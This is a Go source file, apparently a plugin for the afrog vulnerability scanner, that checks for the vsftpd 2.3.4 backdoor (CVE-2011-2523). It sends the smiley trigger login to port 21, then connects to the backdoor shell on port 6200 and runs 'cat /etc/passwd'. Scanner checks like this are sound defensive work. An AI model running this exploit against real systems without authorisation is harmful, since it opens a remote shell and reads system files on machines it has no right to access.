package gox

import (
	"fmt"

	"github.com/zan8in/afrog/v3/pkg/protocols/netxclient"
	urlutil "github.com/zan8in/pins/url"
)

func CVE_2011_2523(target string, variableMap map[string]any) error {
	var err error

	variableMap["request"] = nil
	variableMap["response"] = nil

	host, err := urlutil.Host(target)
	if err != nil {
		return err
	}

	address := fmt.Sprintf("%s:21", host)
	_, err = cve_2011_2523_payload1(address, "USER letmein:)\r\nPASS please\r\n", variableMap)
	if err != nil {
		return err
	}

	address = fmt.Sprintf("%s:6200", host)
	data, err := cve_2011_2523_payload1(address, "cat /etc/passwd\n", variableMap)
	if err != nil {
		return err
	}

	setResponse(data, variableMap)
	setRequest(address, variableMap)
	setTarget(address, variableMap)
	setFullTarget(address, variableMap)

	return nil
}

func cve_2011_2523_payload1(address, body string, variableMap map[string]any) (string, error) {
	sess, err := netxclient.NewSession(address, netxclient.Config{}, variableMap)
	if err != nil {
		return "", err
	}
	defer sess.Close()

	err = sess.Send([]byte(body))
	if err != nil {
		return "", err
	}

	data, err := sess.Receive()
	if err != nil {
		return "", err
	}

	return string(data), nil
}

func init() {
	funcMap["CVE-2011-2523"] = CVE_2011_2523
}
